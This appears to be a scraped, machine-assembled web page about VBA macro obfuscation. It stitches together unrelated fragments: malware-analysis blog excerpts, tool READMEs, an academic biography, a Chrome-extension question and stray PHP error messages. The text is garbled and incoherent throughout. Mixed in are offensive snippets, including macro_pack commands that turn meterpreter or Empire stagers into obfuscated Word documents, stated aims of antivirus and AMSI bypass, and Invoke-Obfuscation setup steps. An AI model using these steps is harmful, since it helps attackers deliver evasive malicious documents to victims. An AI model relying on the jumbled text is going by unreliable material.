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Vba obfuscation github

vba obfuscation github We can obtain powershell command launched by VBA code without deobfuscation, by using any sandbox with powershell auditing. Quick Post: Analyzing Maldoc with “Do While” Loop in VBA Downloader. 0 https://github. And of course, you could use XOR to trick amsi and decode your string back to memory during runtime. Thwart Reverse Engineering of Your Visual Basic . com/sevagas/macro_pack/releases/  Vba Obfuscator Github. save. NET obfuscator is an online obfuscation tool that helps protect . The FireEye FLARE team’s newest contribution to the malware analysis community, FLOSS, is an open-source tool to automatically detect, extract, and decode obfuscated strings in Windows Portable Executable files. 7 MB; Download OfficeExtractor_v1_0. ⚠️ Pay attention to the first two lines! vba-macro-obfuscator. Since the PowerShell command is already obfuscated, remove it from the VBA file as it may not parse it properly if you leave it in. com This video will explain you to view the source code of an exe file with dotpeek. The window stays. such as script obfuscation, make it hard to Jan 31, 2020 · Due to its wide adoption and modular extensible architecture, LLVM is an excellent choice when writing plugins for code obfuscation purposes. Daily cybersecurity news articles on the latest breaches, hackers, exploits and cyber threats. For more information, see Cryptographic Services. dodd@jet. Online VBScript Obfuscator/Encryptor Input VBScript Source Code (Typing and Get the Result Immediately [WYSIWYG] via Ajax API calls) s = Array("Is", "VBScript", "Dead") MsgBox Join(s) Output There is a solution called VBA obfuscation. About VBA Macros. Feel free to use it, it is available on my github repo. Even been using a veil payload to further obfuscate like getting the payload into a . mht • SYLK/SLK • VBA source code • Even encrypted with password May 11, 2014 · Obfuscation. Nowadays one of the most frequent cybersecurity threat comes from Malicious (office) document shipped over eMail or Instant Messaging. 11. com/security/blog/2018/09/12/office-vba-amsi-parting-the-veil-on- malicious-macros using Twitter, GitHub, AWS, and compromised web servers. Dec 08, 2019 · Ryan Campbell at ‘Security Soup’ looks at a new Emotet campaign with VBA obfuscation. You can Download the Macro Pack from GitHub. zip - 6. – Oct 15, 2015 · if /I $(ConfigurationName) neq ObfuscatedRelease goto lDoNotObfuscate rem commands to obfuscate the assembly go here :lDoNotObfuscate. Oct 05, 2018 · e9d02b2ed484cd1c944dc553a342e3166ce080205beb19d8132352beede8524c. This is done by declaring random variables and function names, adding functions that don’t do anything, adding functions that perform tasks that in the end Nov 11, 2020 · Various Visual Basic Macros-based Remote Code Execution techniques to get your meterpreter invoked on the infected machine. lnk files on the system. share. Enable Content, so that the document is correctly For the offensive training data, PowerShell scripts embedded in “known bad” GitHub repositories were scraped. The repository is a quick and dirty one as this is just a simple example. " From the github page, "It was designed with automation and integration in mind. Oct 01, 2019 · The core concept of a dropper is to Download and to Execute a third party payload (or a second stage) and often when you analyse Office dropper you would experience many layers of obfuscation. com/Pepitoh/VBad. git cd macro_pack Obfuscate Empire stager vba file and generate a MS Word document:. Nov 22, 2020 · Purgalicious VBA: Macro Obfuscation With VBA Purging; Igor Skochinsky at Hex Rays Igor’s tip of the week #16: Cross-references; Shusei Tomonaga at JPCERT/CC ELF_PLEAD – Linux Malware Used by BlackTech; Kate at 360 Total Security 360 File-less Attack Protection Intercepts the Banker Trojan BBtok Active in Mexico; Malwarebytes Labs Obfuscation - My file was offered as a download on my website, because each user was clicking "download" before opening the file, I had a opportunity to modify each file being downloaded before the user opened the file. com-ThisIsLibra-genesis_-_2019-11-20_13-25-05 Item Preview cover. 0 trial version on my javascript file and as it appears to find and java script obfuscate all my variable and function names. yml and commit. The most effective techniques can increase the effort of reverse engineering and hinder cracking, and theft of intellectual property. Feb 22, 2012 · This article contains only basic information concerning issues of signing and verifying signature of Windows applications. V=VBA strings (VBA string expressions (potential obfuscation)) DCC specific details This modules performs DCC lookups to determine the bulkiness of a message (e. While not explicitly malicious, this is a common tactic for accessing APIs that are not otherwised exposed via Visual Basic for Applications (VBA). A few weeks ago I opened chrome in my fathers computer, and noticed there was a hidden extension called FindNetData that had permissions to change and read site data all across chrome, I eliminated it from chrome and thought nothing of it, but it has since reappeared every time I close and open chrome again, I don’t know if this is malware and if it is, how can I erase it? An alias is a feature of SQL that is supported by most, if not all, RDBMSs. This is the part of the source file Jun 10, 2014 · Download OfficeExtractor_v1_0-noexe. 168. In this course, students examine cryptography and secure communications. This program obfuscates the Visual Basic code from Microsoft Word macros. We can keep the variables as is and just simply debug the VBA Macro to see what the code does. py <VBA txt file> VBA + Invoke-Obfuscation. com/danielbohannon/Invoke-Obfuscation Can hide VBA macros, stomp VBA code (via P-Code) and confuse macro analysis  19 Mar 2019 This tool "generates architecture independent VBA code to be used in From the github page, "It was designed with automation and integration in mind. pptm • Publisher . core is a VBA dropper, based on the CactusTorch VBA module, which loads a . There's  4 Jun 2019 The obfuscated VBA code uses long scrambled variable and who goes by the name Wearelegal, states on their GitHub repository that the  17 Apr 2020 The VBA code simply runs mshta to load and execute a malicious HTML application (HTA) with the use of a shortened URL A quick de-obfuscation reveals code written in VBScript: [2] https://github. You can obfuscate your VBS source file easily with this command line utility. Results 1 - 20 of 1981 The tool among other things can parse and extract VBA Macros from Anlyz. We see this a lot in obfuscation. Hack The Box - Querier Quick Summary. NET assembly, which allowed me >> to do the same coding in C#. spreadsheet1. •2012 –PowerSploit, a GitHub repo started by Matt Graeber, launched with Invoke-Shellcode. For the obfuscated training data, parts of the Revoke-Obfuscation training data set were used [6]. Get the latest binary from https://github. /src/macro_pack. How do you extract the document properties (including the comments)? With oledump! oledump. There is no known way to obfuscate Sub Events, like AutoExec. sln in Visual Studio; Double click Program. identified in the obfuscation of the VBA code and the final Powershell payload. 5 SP1. Enable Content, so that the document is To help facilitate this, I wrote a PowerShell script, and it is available on github (https: VBA Obfuscation and Macro Obfuscation 2016 (1) bas cls excel vba vba-excel vba-macros vba-modules vba-word vbe visual-basic-for-applications workbook visual basic VBA-Multiple-Find-and-Replace- : VBA Macro for finding multiple text strings in a given Word document and replacing them with the appropriate strings based on an Excel database. js CLI tool and library to heavily obfuscate bash scripts. This is an introductory article about obfuscation in Visual Studio. In this context, the victim is prompted to, e. But in most of the cases, this method can fail. gz Overview. Topics include: Public/Private Key Algorithms Nov 05, 2019 · -f = input-file=INPUT_FILE_PATH A VBA macro file or file containing params-o = obfuscate Same as ‘-obfuscate-form -obfuscate-names -obfuscate-strings-G = generate=OUTPUT_FILE_PATH. Final year school project, obfuscate Word macros. Homepage. " Quick reminder that not being an American citizen does not make you unbiased on our elections May 17, 2020 · How can I obfuscate the TypeScript file written in Angular? The reason why I want to do that is that I have a TypeScript file with a hard-coded part that next will be compiled to JS and included in the main. Extract VBA project meta-data (modification date/time of the VBA project, used code page - for example 1251 for Cyrillic) Source code extraction and analysis GitHub Gist: star and fork jaixan's gists by creating an account on GitHub. accdb. I will be talking about other advanced methods on how to obfuscate VBA content in a future post. 17 Jun 2020 So you don't have to necessarily spend time puzzling over or even, gulp, running the heavily obfuscated code to understand the hackers'  payload obfuscation github So you can SpookFlare > list ID | Payload | Description This script creates an •Most of these actions cannot be obfuscated in VBA. Here, -f defines the path to the (test. An easy-to-use substitution cipher that encrypts via ROT13 your email addresses to avoid them getting harvested by spam-bots while keeping the mailto: feature. I wanted to be sure to bypass Anti-Virus software and show why Office documents can be really dangerous! Detects strings that have been double encoded bas64 for obfuscation. It can also crack malware obfuscation such as XOR, ROL, etc by bruteforcing and checking for those (GitHub does not allow attaching xls, so I had to make a zip archive) 24 May 2019 I knew that this file was likely hiding VBA macros, but my experience any issue at https://github. Nov 14, 2017 · The Library database’s VBA Project Name (under Tools -> Properties) VBA Project Explorer. Debugging the VBA Macro. The transformations applied on the code allows the macros to evade signature scans from Antivirus softwares. html 27 May 2019 vba macro obfuscation github vba) payload into a word document by running the following command in Macro Pack command line interface. CSV file or Excel xls file that can then be imported into Outlook, Google, or any other application that supports import of contacts Feb 09, 2018 · Bypassing the Defenses - Obfuscation Obfuscation defeats script block logging, warning level auto logging and AMSI when done right. So the key to being able to selectively build obfuscated and non-obfuscated assemblies is to add a new solution configuration to your Visual Studio solution and then have a project’s post-build event obfuscate the project’s assembly only if this new using Twitter, GitHub, AWS, and compromised web servers. If relevant, deobfuscate and examine JavaScript or macro code. Spencer Dodd - Walmart Information Security spencer. However, trojan implements the direct opposite: it imitates the most common protocol across the wall, HTTPS, to trick GFW into thinking that it is HTTPS. a couple of tricks to extract URLs from malicious, obfuscated VBA macros, like this: https://gist. com link to my github Sep 21, 2019 · The new spam campaigns also appear to be delivering two different versions of maldocs to download the stage 1 payload. vbs | docker run -i --rm bonnetn/vba-obfuscator /dev/stdin This command will obfuscate the whole code. Obfuscation is a set of techniques that hide the intent of your Excel VBA program without changing its runtime behavior e. Github Repro: https://  19 Apr 2020 https://github. In the past, CyberGuider has […] •PowerShell, VBScript, VBA, JScript are all native to Windows •Can be run manually through cscript, wscript, powershell •Integrated into many frameworks and apps •Office Macros can execute local or remote scripts •COM scriptlets •MSBuild procedure •Dynamic Web Applications (HTA) Lately, I’ve been seeing a new type of PowerShell-based attack that has an interesting twist on the standard Base64 Encoded PowerShell attack. In this tip, I will show you how to get embedded files from the most commonly used Microsoft Office document; Word, Excel and PowerPoint without using the original programs. This set of features allows you to manage themes for the following interfaces: cPanel, Login, Webmail and WHM. A new Binary will be located in simple-loader/bin/ Aug 18, 2018 · A tool that can protect against Android software from piracy, tampering and cloning attacks has been taken down after being illegally posted on Github. I wanna use code to be more fast my development, instead of create all the things in flow mode. Some obfuscation techniques raise more suspicion, and others less. Github obfuscator Github obfuscator Exploit Development and Reverse used the function StrReverse which is a built in VBA function to reverse a given string. If your not electing for option 2, there is a lower quality option, that is, you have implement a simple version of As other members of CERTs I noticed the revival of VBA malware these past years, especially used to drop ransomwares. In addition, aliasing can be employed as an obfuscation technique to secure the real names of database fields. The goal of macro_pack is to simplify antimalware bypass and automatize the process from vba generation to final Office document generation. If you’re starting a new project, use the repository drop-down menu to create a new repository or clone an existing one directly from GitHub. A table alias is also called a correlation name . com/decalage2/ oletools/wiki. NET Obfuscator, an obfuscation tool for . Excel VBA Script to convert VCF file with multiple entries to CSV file This is an Excel based VBA script used to import bulk . VBA-PSH: Runs powershell. In this attack, it adds an additional level of obfuscation by Base64 Encoding a PowerShell script in a Gzip file: Here is the complete command line for the malware payload. Apr 10, 2018 · Your should also take care to obfuscate/encrypt your code or it can easily be reverse engineered using software such as De4dot and . — Quick source viewer by Tomi Mickelsson (github, blog), — Javascript and CSS Code beautifier by c7sky, — jsbeautify-for-chrome by Tom Rix , — Pretty Beautiful JavaScript by Will McSweeney — Stackoverflow Code Beautify by Making Odd Edit Studios . Presentation at Black Hat Europe 2019, about malicious VBA Macros and recent advances in the attack and defense sides. Jun 24, 2020 · cd Invoke-Obfuscation-master Import-Module . - Various-Macro-Based-RCEs. An effective solution to protect VBA code is obfuscation, in other words, the solution is to make your VBA code "unreadable" (but still operational). Obfuscate github This does not work for me on either Windows 10 or Windows 7. Xiaojuan Ma from 2016 to 2018. Simply use the Python script I included in my Github above (and set the mode to the correct one, depending on the delimiter you encountered), and you will get something like this: Finally we get the real payload (executable) after nine layers of obfuscation. xls, . VBad is a tool that allows you to obfuscate (and encrypted) in many diffrent ways pieces of VBA code and integrated directly into a list of generated MS Office  Obfuscation features are compatible with all VBA and VBS based format which can be generated by macro_pack. Today I will be showing you how to write your own crypter in any language you want. VBA obfuscator. APT32 also encrypts the library used for network exfiltration with AES-256 in CBC mode in their macOS backdoor. report. compatibility prevents it from being loaded. Notice: Undefined index: HTTP_REFERER in /home/wesleymo/shoptheusatoday. On penetrating GFW, people assume that strong encryption and random obfuscation may cheat GFW’s filtration mechanism. To better understand and for the fun, I decided to give a try and create my own VBA malware. com GitHub - sevagas/macro_pack: macro_pack is a tool by @EmericNasi used to automatize obfuscation and generation of Office documents, VB scripts, shortcuts, and other formats for pentest, demo, and social engineering assessments. Qiang Yang and Prof. Provides cryptographic services, including secure encoding and decoding of data, as well as many other operations, such as hashing, random number generation, and message authentication. vba hosted with ❤ by GitHub. I put my deobfuscation script for Emotet on GitHub. The following image shows the decoding process. EMBED Jun 08, 2020 · Next, I will cover a few different methods that can be utilized to extract the VBA macros from the document. Obfuscate github When the VBA Macro runs, it executes a PowerShell script that Base64-decodes and decompresses a second-stage PowerShell Script that will be used as the shellcode loader in memory (see Figure 25). View On GitHub; GitHub Profile; Biography. I decided to release it publicly on GitHub, so that malware analysts can start using it, and contribute to its development. how many recipients have seen it). We can embed this (test. exe -f empire. com/trustedsec/unicorn, Directly below details an extract of VBA code which has been subjected to  3 Oct 2017 git clone https://github. Your C# program could then use reflection to make calls to this external/unmanaged dll. • CallByName to Most of these actions cannot be obfuscated in VBA. S MS Office files encrypted with a password are also supported, because VBA macro code is never encrypted, only the content of the document. Jun 14, 2019 · There are many other ways to obfuscate PowerShell cmdlets. In this case, however, the VBA project itself was locked, and could not be viewed. Loader usage: Define a rule in your webpack config and use the obfuscator-loader as the last of your loaders for your modules. NET exes and dlls against reverse-engineering by making it difficult for a third-party to access your source code. Nov 22, 2020 · Purgalicious VBA: Macro Obfuscation With VBA Purging; Igor Skochinsky at Hex Rays Igor’s tip of the week #16: Cross-references; Shusei Tomonaga at JPCERT/CC ELF_PLEAD – Linux Malware Used by BlackTech; Kate at 360 Total Security 360 File-less Attack Protection Intercepts the Banker Trojan BBtok Active in Mexico; Malwarebytes Labs GitHub Desktop is a seamless way to contribute to projects on GitHub and GitHub Enterprise. NET library EPPlus . NetReflector. com/sevagas/macro_pack. Using this handy VBS tool, you can convert your VBScript into an obfuscated VBS source code, without compromising/altering the scripting functionalities and the VBScript keywords. This Free VBScript Obfuscator works by converting each character in your VBS source code into a much obfuscated format. Figure 25: PowerShell script being built on the fly via VB script Figure 11: Basic de-obfuscation was conducted, misleading junk declarations were removed, and relevant variables were re-named to things that are more descriptive. Abstract: In 2019, VBA macros are still heavily used to deliver malware, and new obfuscation techniques such as VBA Stomping implemented in EvilClippy allow attackers to deliver malicious payloads to end users without being detected. The compiled binary was to be used for the HitB CTF and as such had strict obfuscation requirements. You can add the enforce: 'post' flag to ensure the loader will be called after normal loaders: macro_pack is a tool by @EmericNasi used to automatize obfuscation and generation of Office documents, VB scripts, shortcuts, and other formats for pentest, demo, and social engineering assessments. xlsb • PowerPoint . remove-circle Share or Embed This Item. Ex: Evilclippy tricks like VBA stomping/pcode obfuscation are currently detected by olevba. – Metasploit and ton of other tools Active Directory enumeration – WMI,VBScript Domain Privilege Escalation - – Mimikatz in JS using DotNetToJScript – Packed and obfuscated mimikatz. There were a number of posts on the SANS Internet Storm Centre Handler Diaries. VBad is a tool that allows you to obfuscate (and encrypted) in many diffrent ways pieces of VBA code and integrated directly into a list of generated MS Office document. Before you download and/or use our enterprise software for evaluation purposes, we need you to agree to a special set of terms. I will be using an earlier in-development version of my recently released free and open-source PowerShell crypter Xencrypt as the basis for my examples (and that’s the tool you see in action in the screenshot above) as I walk you through how to design and implement your own Dec 16, 2020 · Test data generation is the process of making sample test data used in executing test cases. I made sure it was customizable to the user (I've written the details within action's repository wiki). Currently, I am an assistant professor at Peking University. One note, though: When I tried to modify the string in file xl/vbaProject. Sep 23, 2020 · The PowerShell script is base64 encoded and obfuscated as well. Nov 19, 2020 · When a VBA macro is added to a document, the VBA engine saves a compiled version in the PerformanceCache section of the relevant module stream to increase performance. Ursnif infection with Dridex, (Tue, Dec 3rd) Next up, what’s up with TCP port 26?, (Mon, Dec 2nd) Feb 09, 2018 · Same Attack Simulation without PowerShell Initial Compromise -VBA,VBScript and JScript payloads. python3 macro_pack. >> I am helping my friend with programming some VBA macros. ISSISP 2017 - Obfuscation I Supported by NSF grants 1525820 and 1318955 and by the private foundation that shall not be named Engineering Code Obfuscation APT32 uses the Invoke-Obfuscation framework to obfuscate their PowerShell and also performs other code obfuscation. Feb 25, 2020 · The VBA code in this “VBA Purged” document downloads and executes a VBS script hosted on GitHub: VBA Purging Tools There are tools to create Office documents without any dependencies on MS Office components, like the . Assistant Prof. We can Obfuscation is a way to make a malicious code unreadable. I was trying to use the Javascript Obfuscator 4. vba -o -G myDoc. Let’s skip VBA deobuscation today, as I want to focus on powershell. Usage, Examples, Python API. It would increase the difficulty for de-obfuscating, but the problem is that if someone wants it bad enough, they can figure it out as it is client-side. 12 Sep 2018 This results in polymorphic malware, with evolving obfuscation patterns and multiple obfuscated variants of the same malicious macro. I have bought CrunchCode and beware that it doesn't support 64-bit systems. Finally, I will show a quick how-to with some basic static analysis techniques to de-obfuscate the macro script, and review the anti-analysis/evasion tactics within the document, and extract the indicators of compromise (IOCs) therein. However when we are certain about the name and the path of the executable (e. js file. This will allow us to paste in the Sep 04, 2018 · The macro_pack is a tool used to automatize obfuscation and generation of MS Office documents for pentest, demo, and social engineering assessments. Rubberduck VBA open-source COM add-in project integrates with VBE Visual Basic Editor works in VBA, 32-bit, 64-bit, VB6. You create a simple VBA project. 1 Standard Support. . com/obfuscator-llvm/obfuscator. 2018 School project - PoC of malware code obfuscation in Word macros - bonnetn/vba-obfuscator. After you click “Protect VBA Project” it does it its job. https://github. GitHub project module. Microsoft Office Format Notes GitHub Freeware. The Light Edition is the Freeware version of Skater . You would be able to : Encrypt all strings present in your VBA code; Encrypt data from your python Script in VBA code (domain names or paths for example); Oct 01, 2019 · The malware expert Marco Ramilli collected a small set of VBA Macros widely re-used to “weaponize” Maldoc (Malware Document) in cyber attacks. BokBot is a modular banking trojan that possesses a robust capability for credential theft, wire fraud, and more. exe”. 21 Sep 2019 Analysis of a New Emotet Maldoc with VBA Downloader and some of the sneaky tricks Mummy Spider is using to avoid detection by controls and obfuscate their malicious code. git clone https ://github. docm. com/tmorehouse/hashids. com/willshiao/node-bash-obfuscate#readme  5 Dec 2019 used by Vbad to hide encryption keys: https://github. So well, that there is no turning back. You can have look at macro_pack tool on GitHub. Detects strings that have been double encoded bas64 for obfuscation. zip Download . Giddy gimp git git-bundle git-hooks gitdumper github gitlab gittools gobuster invoke-kerberoast invoke-obfuscation ioctl ipc ipfs ippsec ipsec iptables ipv6 ir irc vault-project vb vba vba-stomp vbscript vhd vhost vhosts vim vimcrypt viminfo  Machine (Windows 10). 3gstudent developed a PowerShell version in his GitHub repository to test The script will generate the associated files needed (WLL, XLL, VBA) and will copy these  olevba: file is RTF, which cannot contain VBA Macros? Potential candidates: - https://github. Support is really bad (no email replies whatsoever over a few  WePWNise is a proof-of-concept python script that generates architecture independent VBA code to be The resulting code is not obfuscated, making detection easy and it also does not The source code of the tool is available on Github. y+x. In the VBA Reference list, the Library database follow’s the naming format of: VBA Project Name. The Document_Open() subroutine begins a long series of de-obfuscation steps which ultimately yields a base-64 encoded payload as shown below. Oct 01, 2019 · Macro Pack is an obfuscation tool for, well… macros, which of course are actually made with VBA. Every day, Mark Mo and thousands of other voices read, write, and share important stories on Medium. 18 Aug 2016 As we can see, this code has its strings encoded and is obfuscated, and when we clean it up, it's pretty simple: Public Function Beacon() x  23 Jul 2018 VBA is obfuscated. Also in Visual Studio 2012 the dropdown list of the tools tab shows "PreEmptive Dotfuscator and Analytics" but I don't know what that does. io/CyberChef/. A simple technique used to bypass detection of “sub document_open()” for instance is to break it up with the VBA line continuation character “_” (underscore). Skip to content. And now we come to the step which is the biggest reason why I recommended you write your stub first. Obfuscation is a set of techniques that hides the intent of your Excel VBA program without changing its runtime behavior e. py -f. psd1 Invoke-Obfuscation. All you have to do is create the build. If you need Excel VBA protection then have a look at VBA compiler for Excel https://vbacompiler. Payload Obfuscation and Reassembly. So, my question is, has some possibility to create code parts to make data manipulation? Presentation at Black Hat Europe 2019, about malicious VBA Macros and recent advances in the attack and defense sides. The techniques used to obscure the intent of an application can vary widely. 24 Jan 2020 The new obfuscation included some fundamental changes to the document structure (e. Discover and install extensions and subscriptions to create the dev environment you need. Understand the next steps in the infection chain. VBA Obfuscator which I used for obfuscating vba codes to embed into Microsoft Word document while I'm doing some signature bypass testing in my work. git clone -b llvm-4. Oct 15, 2015 · Introduction. There are many Test Data Generator tools available that create sensible data that looks like production test data. Techniques for Automating Obfuscation. Everything started with a question to myself How hard is it to write Malware ? actually its depends on what you want, I just want to get reverse shell from victim and of course it will be persistent and evade Windows Defender or any anti malware software. You could again copy the obfuscated VBS source to the input box and re-apply the obfuscation process to achieve a much higher level of obfuscation. By performing obfuscation at the LLVM IR level, it is possible to develop compiler passes for code obfuscation purposes that support multiple programming languages and instruction set architectures. This tool has been written to support the new features added to the process injection tool that I wrote for learning about various Process Injection techniques and to enhance my knowledge about C# and Windows API. StrReverse() serves well as an example, but it is a well-known May 13, 2020 · Obfuscation and anti-analysis techniques are commonly employed to evade detection and avoid complete analysis by automated sandboxes. You can add the enforce: 'post' flag to ensure the loader will be called after normal loaders: Nov 28, 2019 · One of the most common methods leveraged by attackers is the use of Malicious Word/Excel Documents sent over email. " Installation is as simple as git clone https://github. Invoke-Obfuscation and Invoke-CradleCrafter from Daniel (https://github. vba Sep 20, 2019 · It does not do "control flow obfuscation" which was my main purpose. In order for Invoke Obfuscation to work and get accessed by LuckyStrike, we need to move the Invoke Obfuscation tool to the PowerShell Modules directory as shown in the image given below. TECH Anonymous Expect us! 55,477 views MS Office files encrypted with a password are also supported, because VBA macro code is never encrypted, only the content of the document. com/Pepito 2 comments. 4 Sep 2018 macro pack is a tool used to automatize obfuscation and generation of MS the process from vba generation to final Office document generation. php on line 78 Notice: Undefined index: HTTP_REFERER in Github search is quite powerful and useful feature and can be used to search sensitive data on the repositories. However, an Office application will only access the PerformanceCache if its version and architecture match what was used to compile the original VBA code. The source repository for this project is at GitHub. ps1 file. Obfuscate github. In this post we’ll discuss the main […] One place for all extensions for Visual Studio, Azure DevOps Services, Azure DevOps Server and Visual Studio Code. Also it works very quickly even with big files. * Hi all, I'm working on a new project, and this is the first time I've ever looked for a JavaScript obfuscator. 25 Feb 2020 TL;DR We have found malicious Office documents containing VBA document downloads and executes a VBS script hosted on GitHub: Pingback: Purgalicious VBA: Macro Obfuscation With VBA Purging - REAL security. com/mwrlabs/wePWNise. If everything worked as expected, you should be presented with the following prompt: We now need to set the command we want to obfuscate, in this case it will be something like this: Apr 01, 2020 · GitHub will invoice Customer for any additional use, effective from the date its use first exceeded the terms of the Agreement. NET Reactor or Crypto Obfuscator. vba-obfuscation · GitHub Topics · GitHub GitHub is where people build software. Nov 18, 2018 · Create Image Payload Using Msfvenom || How to Hide a Payload Inside of a Fake Picture - Duration: 4:47. 's ("GitHub", "we", or "us") enterprise software helps you build better software - faster - by enabling collaborative development for teams of all sizes. This is how it works: VBA Macro source code is extracted from MS Office files using olevba. In the case of PowerShell, because it is a scripting language, we can simply take the stub code and use it as a template for our final payload, replace the relevant sections with the encrypted payload and the key and write it as the output to a new . Obfuscation is a term of art that describes a set of techniques used to evade antivirus products that rely heavily on signatures. payload obfuscation github Let's take a look at the binary: $ file to simplify antimalware bypass and automatize the process from vba generation to final Office  The source code of VBA macros is compressed when stored inside a stream. See the olevba documentation. From this de-obfuscated script, the analyst can see that the executable dropped will have the name of “901. 27 May 2019 python vba deobfuscator docm Faster output pypy vmonkey. One file is obfuscated and uses SQL commands in order to connect to the attackers C2 NETS1035 Applied Cryptography. Then you call the Unviewable+ from the ribbon. Nov 15, 2020 · Quick Tip: Extracting all VBA Code from a Maldoc, (Sun, Nov 8th) Preventing Exposed Azure Blob Storage, (Thu, Nov 12th) Exposed Blob Storage in Azure, (Thu, Nov 12th) Old Worm But New Obfuscation Technique, (Fri, Nov 13th) Securelist. net Some useful functions to obfuscate our macro are used to detect it. 12. py –f test. We can also deobfuscate it, but in the end it launches a powershell command. xlsm, . If you are new to a field the last thing you want to be is a poser. Here is the usage that I chose:. Collection of github dorks that can reveal sensitive personal and/or organizational information such as private keys, credentials, authentication tokens, etc. NET assembly. As a very simple example, we have already seen how GetField becomes GetFiel`d to bypass warning level auto logging. 5 -f vba | macro_pack. These are hard-coded credentials that are fine for the purpose of the app (Actually CTF), but I don’t want them to be readable in the source. After this if I de-obfuscate the exe, the code can not be understood by any intermediate level programmer. This tool can be used for redteaming, pentests, demos, and social engineering assessments. Defender for Office 365 detects and blocks malicious Microsoft Access database attachments in email. Apr 19, 2020 · Over the years, we constantly tell newcomers to the field of Information Technology (IT) Security to “GET INVOLVED” in the Security community, but do we truly tell them how or where to begin. In case you are wondering, yes this does drop two files on disk namely the Base64 encoded loader binary and the PE executable after converting it in the Microsoft Edge TempState/Downloads folder considering Malware analysts may also rename the file before executing. Tutorial: https://github. Some of these are ZIP files that use JavaScript to fetch the binary and others are the more “classic” style that leverage a VBA macro-enabled word document to execute a PowerShell script to download the initial binary. Python script to obfuscate VBA (Virtual Basic for Applications) macros VBA Obfuscator. com/joesecurity/pafishmacro is a great source of  ploits and VBA macros, with the latter applied in the vast majority of threats. NET with new functionality and flexibility in order to handle PHP, Javascript, VBA, and VBS scripts. IKVM is a >> great project. malware, droppers written in VBA and Powershell, so it mightn't seem to be a big deal. The combinations of factors make it unlikely that servers deployed by different organizations will have the same response. It does not discuss the theory behind obfuscation or the effectiveness of obfuscation in protecting your intellectual property. APT32 has also encoded payloads using Base64 and a framework called "Dont-Kill-My-Cat (DKMC). 2 MB; Download latest source on Github; Introduction. The best way to "scramble" VBA code is to compile it into DLL file. Even with time-hindering obfuscation, eventually RE teams and AV analysis will crack your VBA code Static script de-obfuscator. Detects Lazarus malicious document droppers VBA. github. io/snippets/f1tt9okm5w. Mar 18, 2017 · This video is for educational purposes only! For more videos click the "like" button and subscribe to my channel! ----- Greetings citizens of the world, in this video i want to show you: how with Obfuscate github. Easily Identify Malicious Servers on the Internet with JARM - TLS Server respond in a unique way. git cd macro_pack pip3  26 Nov 2018 ViperMonkey: a VBA Emulation engine written in Python, designed to analyze guidance is available on ViperMonkey's GitHub repository. GitHub Gist: instantly share code, notes, and snippets. The version of Nexguard exposed on the code Some useful functions to obfuscate our macro are used to detect it. I wanted to be sure to bypass Anti-Virus software and show why Office documents can be really dangerous! View on GitHub Download . Dim Password As String Password = "Secret" LogDebug "Password = "& Obfuscate (Password) ' -> Password = ***** There is a solution called VBA obfuscation. Using Dotfuscator with Visual Studio 2012 Express. Run on a text file contains the vba codes which you want to obfuscate; python obfuscator. Figure 2. exe -o -G meterobf. The code is parsed using a VBA grammar defined with pyparsing, inspired from the official specifications MS-VBAL. When I try to run as Administrator, either by right clicking the BAT file and "Run as Administrator", or using the technique described here the batch file flashes open for a second then closes immediately with no commands or programs in the batch file executing. 2020. At the end of this post, you will have an understanding of how the VBA script goes about creating the new process, which is rather convoluted but will show some of the obfuscation techniques used. Extension for Visual Studio - Rustemsoft presents Free Light Edition of well-known Skater . The goal of macro_pack is to simplify antimalware solutions bypass and automatize the process from vba generation to final Office document generation. If relevant, disassemble and/or debug shellcode. A first round of obfuscation technique was adopted by the attacker in order to make harder the analyst’s decoding process. Currently it supports the following syntaxes: chrw(x) chrw(x. bin inside the unzipped folder and compress it back, Excel wouldn’t accept it. NET DLL payload, sets configuration information, and then runs the payload. Although Microsoft have Another prevalent feature of macro malware is obfuscation. 26 Feb 2020 VBA Obfuscator which I used for obfuscating vba codes to embed into Microsoft Word document while I'm doing some signature bypass testing  You may then insert the obfuscated version of the macro into your Word/Excel document, set up a meterpreter payload stage per the blog post above, and fire  Obfuscated Powershell Empire 2. However, they use very basic obfuscated techniques when they are compared to sophisticated threats. SpookFlare has obfuscation, encoding, run-time code compilation and character substitution features. 17 Dec 2016 Let's state it straight every VBA developer is happy, when he can protect his kind of chance to deal with you code, you may use “Obfuscation”. Attackers will obfuscate their code as they obviously don’t want security analysts to see what they are trying to achieve. If everything worked as expected, you should be presented with the following prompt: We now need to set the command we want to obfuscate, in this case it will be something like this: Jul 23, 2018 · VBA is obfuscated. io to obfuscate and RC4 encrypt the strings of the in-line JS code. NET format so I can obfuscate it for powershell to use reflections to load. com/danielbohannon) are very useful for implementing obfuscation. Oct 28, 2018 · Simply by splitting the word in half is enough to fool this detection scheme. doc, . Nov 12, 2019 · The two Macros decoded a Javascript payload acting as a drop and execute by using a well-known strategy as described in: “Frequent VBA Macros used in Office Malware”. I made a GitHub Action that generates documentation from the C# code provided within your own repository. Hey guys today Querier retired and here’s my write-up about it. VCF files that contain more than 1 Vcard and then convert them to a comma separated . /delivery. This is how it look like. Background. An effective solution to protect VBA code is obfuscation, in other words, the solution is to make your VBA code "unreadable" (but still Vba obfuscator github . There is no known way to obfuscate functions and methods. exe From the defenses discussed, only AMSI will interfere And now we come to the step which is the biggest reason why I recommended you write your stub first. Most anti-virus programs can easily read the attacker’s raw code and block, so I used -o parameter to obfuscate malicious VBA payload. Obfuscate github Excel to YAML converter is an online tool to convert your Excel  11 Dec 2019 Obfuscation can be used to evade the existing endpoint. exe is well known to blue team. com/WojciechMula/ keywords for HTTP requests, XML and other obfuscation methods (#VBALostArts ). We will not cover the PowerShell script in this post for the sake of time. py <VBA txt file> See full list on github. NET compiled form I would just use ilspy and reflexil plugin to adjust it accordingly so I can launch it from memory easier. Also there was a change in the VBA macro obfuscation that @unixronin documented in his post: https Hashids is a small open-source library that generates short, unique, non-sequential ids from numbers. We are going to rely on this tool to generate the payloads in the current document II. Macro Obfuscation With VBA Purging; 09 Nov Check out my article Protect Your Java Code - Through Obfuscators And Beyond [Archived] for a discussion of obfuscation vs three other ways to make the reverse engineering of your apps more expensive, and a collection of links to tools and further reading materials. docm). md VBA Obfuscation Tools combined with an MS office document generator Python - MIT - Last pushed Oct 15, 2017 - 240 stars - 78 forks krijnsent/crypto_vba Jul 27, 2014 · Obfuscation is a technique employed to hide the intent of an application. Jun 08, 2020 · VBA Compiler is the best alternative to the VBA code protection approaches, such as VBA code obfuscation or standard MS Excel VBA project password protection. In the past, CyberGuider has […] Some useful functions to obfuscate our macro are used to detect it. This process is done by removing blank lines and comments and replacing variables, procedures and functions names by random names so that VBA code of your Excel workbook becomes incomprehensible. Unfortunately, however since 17. Before, I was a research associate in the Hong Kong University of Science and Technology, working with Prof. Mandiant 